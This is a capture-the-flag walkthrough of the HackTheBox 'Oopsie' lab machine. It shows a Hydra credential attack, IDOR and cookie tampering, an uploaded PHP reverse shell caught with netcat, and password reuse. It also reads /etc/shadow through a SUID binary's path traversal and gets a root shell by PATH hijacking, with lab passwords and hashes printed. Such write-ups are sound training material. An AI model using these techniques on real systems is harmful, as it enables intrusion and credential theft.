


Oopsie


Machine info



Enumeration


port scanning

perform port scanning & found 2 port opened



finding login page & gaining access into the login page

checking the root page of the web server
//if you notice that the website shows as MegaCorp ...
//it's the same MegaCorp company as the previous machine




intercept the http request requesting the root page of http://10.10.10.28
let burpsuite list the all the possible links that found on the page
//notice that there's an interesting directory that found /cdn-cgi/login , let's check it out

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

	Host	Method	URL	Params	Status	Length	MIME type	Title	Comment	Time requ...
http://10.10.10.28	http://10.10.10.28	GET	/		200	11125	HTML	Welcome		23:32:12 4...
cdn-cgi	http://10.10.10.28	GET	/css/new.css		200	243				23:32:17 4...
login	http://10.10.10.28	GET	/themes/theme.css		200	243				23:32:17 4...
scripts	http://10.10.10.28	GET	/cdn-cgi/login/script.js							
css	http://10.10.10.28	GET	/cdn-cgi/scripts/5c5d...							
js	http://10.10.10.28	GET	/js/index.js							
themes	http://10.10.10.28	GET	/js/min.js							

& we've end up in this login page
//default admin credentials arent working this time
//probably this machine are linked with the previous machine?
//let's try out the archetype machine credentials on this login page



this is the credentials that found from archetype machine

```
GeneratedBy= ... GeneratedFromPackageName= ... Generated  
="Property" Path="\Package.Connections[Destination].Propert  
rce=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initia
```

```

history
PS C:\Windows\system32> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
PS C:\Windows\system32>

```

create the wordlist

```

(nobodyatall@0xDEADBEEF)-[~/htb/startPT/oopsie]
$ cat > usr
admin
administrator
Admin
Administrator
^C

```

```

(nobodyatall@0xDEADBEEF)-[~/htb/startPT/oopsie]
$ cat > pw
M3g4c0rp123
MEGACORP_4dm1n!!
^C

```

start performing dictionary attack on the login page & we found the correct credential!


```

(nobodyatall@0xDEADBEEF)-[~/htb/startPT/oopsie]
$ hydra -L usr -P pw 10.10.10.28 http-post-form '/cdn-cgi/login/index.php:username=^USER^&password=^PASS^:Log in' -t 25 -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and et
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-05 00:30:44
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:4/p:2), ~1 try per task
[DATA] attacking http-post-form://10.10.10.28:80/cdn-cgi/login/index.php:username=^USER^&password
=^PASS^:Log in
[80][http-post-form] host: 10.10.10.28 login: admin password: MEGACORP_4dm1n!!
1 of 1 target successfully completed, 1 valid password found

```


we're in!



Repair Management System


finding ways to upload backdoor

notice that there's a upload button above there



let's check that out

wait what?! super admin rights? we're not the highest privilege user in this admin panel right now



Repair Management System






This action require super admin rights.

checking the account section, we've found our access ID for the admin user


Repair Management System

Access ID	Name	Email
34322	admin	admin@megacorp.com

checking the cookies also we notice that the role will be admin, the user will be the access id

▶  Cache Storage	Filter Items			
▼  Cookies	Name	Value	Domain	Pa
 http://10.10.10.28	role	admin	10.10.10.28	/
▶  Indexed DB	user	34322	10.10.10.28	/
▶  Local Storage				

so notice that the account id param
probably we can do IDOR here, accessing other user account details
//for id=1 , current login admin user



Repair Management System

Access ID	Name	Email
34322	admin	admin@megacorp.com

//for id=0

Repair Management System

Access ID	Name	Email

let's use wfuzz to perform fuzzing & we found several id numbers that's not empty (3595 char means empty)
//use seq to generate number sequence

```
(nobodyatall@0xDEADBEEF)-[~]  
$ seq 1 200 > num.txt
```

(nobodyatall@0xDEADBEEF)-[~/htb/startPT/oopsie]

\$ wfuzz -u 'http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=FUZZ' -b 'user=34322; role=admin' -w num.txt -L --hh 3595 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly wh
Wfuzz's documentation for more information.

* Wfuzz 3.0.1 - The Web Fuzzer *

Account Branding Clients Uploads Logged in as Admin

Target: http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=FUZZ
Total requests: 200

ID	Response	Lines	Word	Chars	Payload
000000001:	200	160 L	321 W	3623 Ch	"1"
000000013:	200	160 L	321 W	3621 Ch	"13"
000000004:	200	160 L	321 W	3619 Ch	"4"
000000030:	200	160 L	322 W	3634 Ch	"30"
000000023:	200	160 L	321 W	3620 Ch	"23"

Repair Management System

& we found super admin access ID and other details, other id are normal users

Repair Management System


Access ID	Name	Email
86575	super admin	superadmin@megacorp.com

edit the cookie to super admin Access ID, assume that's how the page checks the authorizations

Filter items

Name	Value	Domain	Path	Expires
role	admin	10.10.10.28	/	Thu, 0
user	86575	10.10.10.28	/	Thu, 0

& voila! we've gained access to the upload section



Repair Management System

Branding Image Uploads

Brand Name

No file selected.

Debugger Network Style Editor Performance Memory Storage Accessibility What's New										
Filter Items										
Name	Value	Domain	Path	Expires / Max-Age	Size	HttpOnly	Secure	SameSite	Last Accessed	
role	admin	10.10.10.28	/	Thu, 04 Feb 2021 05:...	9	false	false	None	Tue, 05 Jan 2021 07:1...	
user	86575	10.10.10.28	/	Thu, 04 Feb 2021 05:...	9	false	false	None	Tue, 05 Jan 2021 07:1...	

now create a reverse php script & upload to the web server

Brand Name

rev.php

the server shows that we've successfully uploaded our backdoor script

Repair Management System

The file rev.php has been uploaded.

let's use subdirectory fuzzer to fuzz the upload directory & we found it

```
Output File: /opt/dirsearch/reports/10.10.10.28/_21-01-05_00-06-49.txt

[00:06:49] Starting:
[00:07:01] 301 - 308B - /css → http://10.10.10.28/css/
[00:07:04] 301 - 310B - /fonts → http://10.10.10.28/fonts/
[00:07:06] 301 - 311B - /images → http://10.10.10.28/images/
[00:07:06] 200 - 11KB - /index.php
[00:07:07] 301 - 307B - /js → http://10.10.10.28/js/
[00:07:17] 403 - 276B - /server-status
[00:07:20] 301 - 311B - /themes → http://10.10.10.28/themes/
[00:07:22] 301 - 312B - /uploads → http://10.10.10.28/uploads/

Task Completed
```

execute it & voila! we just gotten our initial foothold

```
10.10.10.28/uploads/rev.php

Kali Tools Kali Docs Kali Forums Ne

nobodyatall@0xDEADBEEF: ~/htb/startPT/oopsie
File Actions Edit View Help
nobodyatall@0...tartPT/oopsie x nobodyatall@0...opt/dirsearch x

(nobodyatall@0xDEADBEEF)-[~/htb/startPT/oopsie]
$ nc -nlvp 18890
listening on [any] 18890 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.28] 42010
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 202
NU/Linux
07:24:06 up 3:26, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

it found on this server.

server at 10.10.10.28 Port 80

Post Exploitation

Privilege Escalation

www-data -> robert

in the home directory there's 1 user

```
www-data@oopsie:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root    root    4096 Jan 23  2020 .
drwxr-xr-x 24 root    root    4096 Jan 27  2020 ..
drwxr-xr-x  5 robert  robert  4096 Jan  5 06:24 robert
www-data@oopsie:/home$
```

here we've found the user flag

```
www-data@oopsie:/home/robert$ cat user.txt
cat user.txt
[REDACTED]
www-data@oopsie:/home/robert$
```

enumerate the web server hosting php files directories & we found a db credential
//user is robert? probably this robert reuse the credential for his linux user

```

www-data@oopsie:/var/www/html/cdn-cgi/login$ ls -la
ls -la
total 28
drwxr-xr-x 2 root root 4096 Jan 28 2020 .
drwxr-xr-x 3 root root 4096 Jan 28 2020 ..
-rw-r--r-- 1 root root 6333 Jan 28 2020 admin.php
-rw-r--r-- 1 root root 80 Jan 24 2020 db.php
-rw-r--r-- 1 root root 5007 Jan 28 2020 index.php
-rw-r--r-- 1 root root 0 Jan 24 2020 script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
www-data@oopsie:/var/www/html/cdn-cgi/login$

```

testing it out & voila! we've privilege escalated to robert user

```

www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!

robert@oopsie:/var/www/html/cdn-cgi/login$

```

robert -> read root files

so let's check for any suid bit set binaries to exploit

```

robert@oopsie:/var/www/html/cdn-cgi/login$ find / -perm -u=s -type f 2>/dev/null
cdn-cgi/login$ find / -perm -u=s -type f 2>/dev/null
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/passwd

```

so we found this bugtracker binary looks kinda sus, now let's check out how it works

```
/usr/bin/newgrp  
/usr/bin/passwd  
/usr/bin/at  
/usr/bin/bugtracker  
/usr/bin/newgrp  
/usr/bin/pkexec
```

checking the owner of this binary

//it's root!

//and the ppl in bugtracker group can execute it

```
robert@oopsie:/$ ls -la /usr/bin/bugtracker  
ls -la /usr/bin/bugtracker  
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker  
robert@oopsie:/$
```

now robert is in bugtracker group cool

```
robert@oopsie:/$ id  
id  
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)  
robert@oopsie:/$
```

okay... so provide bug id & when it's not valid thn show bunch of errors

```
robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker  
/usr/bin/bugtracker  
  
: EV Bug Tracker :  
  
Provide Bug ID: 1  
1  
  
Binary package hint: ev-engine-lib  
Version: 3.3.3-1  
  
Reproduce:  
When loading library in firmware it seems to be crashed  
  
What you expected to happen:  
Synchronized browsing to be enabled since it is enabled for that site.  
  
What happened instead:  
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
```

let's use strings to check the binary (static analysis)

checking the part it check bug id, and we notice that it cat the reports from /root/reports directory

```
[JA\A]A A_  
_____  
: EV Bug Tracker :  
_____  
Provide Bug ID:  
_____  
cat /root/reports/  
;*3$"
```

and we also know that the root flag was store in /root directory, so let's use this technique ../ to go to up 1 level back directory
& voila! we've captured our root flag!!

```
robert@oopsie:/$ /usr/bin/bugtracker  
/usr/bin/bugtracker  
  
_____  
: EV Bug Tracker :  
_____  
  
Provide Bug ID: ../root.txt  
../root.txt  
_____  
  
_____
```

additional stuff:

since we can execute the binary as root, we can read shadow file content too

```
: EV Bug Tracker :
Provide Bug ID: ../../etc/shadow
../../etc/shadow

root:$eD0n5saZ$orykppdd7mVL/LF57rIGwUzeSR0PC1KRITJ45Nqn6P2BLaZ.tcSOy5fNFc0w9uBRkClgu5R9WlyxpEId5q00VY.:18285:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
sync:*:18113:0:99999:7:::
games:*:18113:0:99999:7:::
man:*:18113:0:99999:7:::
lp:*:18113:0:99999:7:::
mail:*:18113:0:99999:7:::
news:*:18113:0:99999:7:::
uucp:*:18113:0:99999:7:::
proxy:*:18113:0:99999:7:::
www-data:*:18113:0:99999:7:::
backup:*:18113:0:99999:7:::
list:*:18113:0:99999:7:::
irc:*:18113:0:99999:7:::
gnats:*:18113:0:99999:7:::
nobody:*:18113:0:99999:7:::
systemd-network:*:18113:0:99999:7:::
systemd-resolve:*:18113:0:99999:7:::
syslog:*:18113:0:99999:7:::
messagebus:*:18113:0:99999:7:::
_apt:*:18113:0:99999:7:::
lxd:*:18113:0:99999:7:::
uidd:*:18113:0:99999:7:::
dnsmasq:*:18113:0:99999:7:::
landscape:*:18113:0:99999:7:::
pollinate:*:18113:0:99999:7:::
sshd:*:18284:0:99999:7:::
robert:$6$krIH0Pwv$iBt45Fu0g4R0uNWSbfjDRvtUSwxVu.U1JhYKmT4voMWLVc3/u2nu0j0JZL0YWmm62vRgAs4acBL8Ge.S393H/:18285:0:99999:7:::
mysql:!:18284:0:99999:7:::
```

if we want to spawn a root shell using the bugtracker binary we can exploit the PATH Variable
notice that cat binary doesnt specified the full path (that's the vulnerability we going to exploit)

```
[JA\JA A_
: EV Bug Tracker :
Provide Bug ID:
cat /root/reports/
;*3$"
```

so we create our cat binary that will execute a shell

```
robert@oopsie:~$ echo '#!/bin/bash' > cat
echo '#!/bin/bash' > cat
robert@oopsie:~$ echo '/bin/bash -p' >> cat
echo '/bin/bash -p' >> cat
robert@oopsie:~$ chmod +x cat
chmod +x cat
```

this is the cat shell script content

```
robert@oopsie:~$ cat cat
cat cat
#!/bin/bash
/bin/bash -p
robert@oopsie:~$
```

export the current path storing the malicious cat shell to path variable

```
robert@oopsie:~$ export PATH=$(pwd):$PATH
export PATH=$(pwd):$PATH
```

execute the bugtracker binary & enter id to trigger the cat binary
& voila! we've spawn the root shell!!

```
robert@oopsie:~$ /usr/bin/bugtracker
/usr/bin/bugtracker
```

```
_____  
: EV Bug Tracker :  
_____
```

```
Provide Bug ID: id
id
_____
```

```
root@oopsie:~# id
id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)
root@oopsie:~#
```